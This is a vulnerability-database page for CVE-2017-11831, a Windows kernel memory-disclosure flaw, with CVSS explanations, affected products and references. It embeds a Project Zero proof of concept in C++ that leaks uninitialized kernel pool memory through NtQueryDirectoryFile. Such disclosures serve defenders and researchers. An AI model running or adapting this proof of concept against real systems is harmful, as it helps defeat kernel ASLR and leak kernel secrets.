CVE-2017-11831 : Detail

CVE-2017-11831

4.7
/
Medium
A01-Broken Access Control
12.19%V3
Local
2017-11-15
03h00 +00:00
2024-09-16
23h50 +00:00
CVE.org
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CVE Descriptions

Windows kernel in Windows 7 SP1, Windows 8.1 and RT 8.1, Windows Server 2008 SP2 and R2 SP1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, 1703, 1709, Windows Server 2016, and Windows Server, version 1709 allows an attacker to log on to an affected system, and run a specially crafted application that can compromise the user's system due to how the Windows kernel initializes memory, aka "Windows Information Disclosure Vulnerability". This CVE ID is unique from CVE-2017-11880.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 4.7 MEDIUM CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 4.7 AV:L/AC:M/Au:N/C:C/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 43165

Publication date : 2017-11-20
23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1361 We have discovered that the nt!NtQueryDirectoryFile system call discloses portions of uninitialized pool memory to user-mode clients on Windows 10, due to uninitialized fields in the output structure being copied to the application. The problem manifests itself for information classes FileBothDirectoryInformation and FileIdBothDirectoryInformation, which use the following (or similar) structure: --- cut --- typedef struct _FILE_BOTH_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; CCHAR ShortNameLength; WCHAR ShortName[12]; WCHAR FileName[1]; } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; --- cut --- We have found that for certain files, such as C:\Windows\explorer.exe, the "ShortNameLength" and "ShortName" fields are not initialized at any point before being passed to a ring-3 client. This leaves 25 bytes of leftover kernel pool memory which can be acquired in a single system call by a malicious local program. The pool allocation used to store the above structure is made in luafv!LuafvAllocatePool. The act of copying uninitialized kernel memory to user-mode was originally detected under the following stack trace: --- cut --- a0e90a28 9d2fb7a6 nt!memcpy+0x35 a0e90a50 9d2fecf4 luafv!LuafvCopyDirectoryEntry+0x52 a0e90a98 9d2fb577 luafv!LuafvCopyNextDirectoryEntry+0x365c a0e90b14 9d2f8afc luafv!LuafvMergeStoreDirectory+0x93 a0e90b60 9d2f8118 luafv!LuafvQueryStoreDirectory+0xdc a0e90b7c 89a5328d luafv!LuafvPreDirectoryControl+0xa8 90289adc 8e2bf040 FLTMGR!FltpPerformPreCallbacks+0x2ad WARNING: Frame IP not in any known module. Following frames may be wrong. a0e90c20 89a52bf3 0x8e2bf040 a0e90c58 89a52a0b FLTMGR!FltpPassThrough+0x163 a0e90c80 81cb6f53 FLTMGR!FltpDispatch+0x9b a0e90c9c 81f0c273 nt!IofCallDriver+0x43 a0e90cf0 81f0ac7f nt!IopSynchronousServiceTail+0x133 a0e90d20 81d51c97 nt!NtQueryDirectoryFile+0x5f a0e90d20 77a74d10 nt!KiSystemServicePostCall 00cadc48 77a727ba ntdll!KiFastSystemCallRet 00cadc4c 747ac7f0 ntdll!NtQueryDirectoryFile+0xa 00cadf58 747ac486 KERNELBASE!FindFirstFileExW+0x360 00cadf78 747b3d18 KERNELBASE!FindFirstFileW+0x16 00cae234 00d48a65 KERNELBASE!GetLongPathNameW+0x208 --- cut --- when smartscreen.exe called the documented GetLongPathNameW API against "C:\Windows\explorer.exe". The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for luafv.sys. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region: --- cut --- 00000000: 00 00 00 00 00 00 00 00 00 a4 9e a2 74 2c d3 01 ............t,.. 00000010: 00 a4 9e a2 74 2c d3 01 e8 1f b3 fc d2 fa d2 01 ....t,.......... 00000020: 3f 93 7b 1a 76 2c d3 01 b8 ce 41 00 00 00 00 00 ?.{.v,....A..... 00000030: 00 d0 41 00 00 00 00 00 20 00 00 00 18 00 00 00 ..A..... ....... 00000040: e1 00 00 00 00 45 45 45 45 45 45 45 45 45 45 45 .....EEEEEEEEEEE 00000050: 45 45 45 45 45 45 45 45 45 45 45 45 45 45 65 00 EEEEEEEEEEEEEEe. 00000060: 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 2e 00 x.p.l.o.r.e.r... 00000070: 65 00 78 00 65 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? e.x.e........... --- cut --- 00000000: 00 00 00 00 00 00 00 00 00 a4 9e a2 74 2c d3 01 ............t,.. 00000010: 00 a4 9e a2 74 2c d3 01 e8 1f b3 fc d2 fa d2 01 ....t,.......... 00000020: 3f 93 7b 1a 76 2c d3 01 b8 ce 41 00 00 00 00 00 ?.{.v,....A..... 00000030: 00 d0 41 00 00 00 00 00 20 00 00 00 18 00 00 00 ..A..... ....... 00000040: e1 00 00 00 00 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d .....=========== 00000050: 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 65 00 ==============e. 00000060: 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 2e 00 x.p.l.o.r.e.r... 00000070: 65 00 78 00 65 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? e.x.e........... --- cut --- Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <winternl.h> #include <cstdio> #define FileBothDirectoryInformation ((FILE_INFORMATION_CLASS)3) extern "C" NTSTATUS WINAPI NtQueryDirectoryFile( _In_ HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, _Out_ PIO_STATUS_BLOCK IoStatusBlock, _Out_ PVOID FileInformation, _In_ ULONG Length, _In_ FILE_INFORMATION_CLASS FileInformationClass, _In_ BOOLEAN ReturnSingleEntry, _In_opt_ PUNICODE_STRING FileName, _In_ BOOLEAN RestartScan ); VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } int main() { // Open the disk device. HANDLE hDir = CreateFile(L"C:\\Windows", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); if (hDir == INVALID_HANDLE_VALUE) { printf("CreateFile failed, %d\n", GetLastError()); return 1; } // Obtain the output data, assuming that it will fit into 1024 bytes. IO_STATUS_BLOCK iosb; UNICODE_STRING FileName; RtlInitUnicodeString(&FileName, L"explorer.exe"); BYTE OutputBuffer[1024]; RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer)); NTSTATUS st = NtQueryDirectoryFile(hDir, NULL, NULL, NULL, &iosb, OutputBuffer, sizeof(OutputBuffer), FileBothDirectoryInformation, TRUE, &FileName, FALSE); if (NT_SUCCESS(st)) { PrintHex(OutputBuffer, iosb.Information); } else { printf("NtQueryDirectoryFile failed, %x\n", st); } CloseHandle(hDir); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server >> Version 1709

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version *

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

References

https://www.exploit-db.com/exploits/43165/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1039782
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/101721
Tags : vdb-entry, x_refsource_BID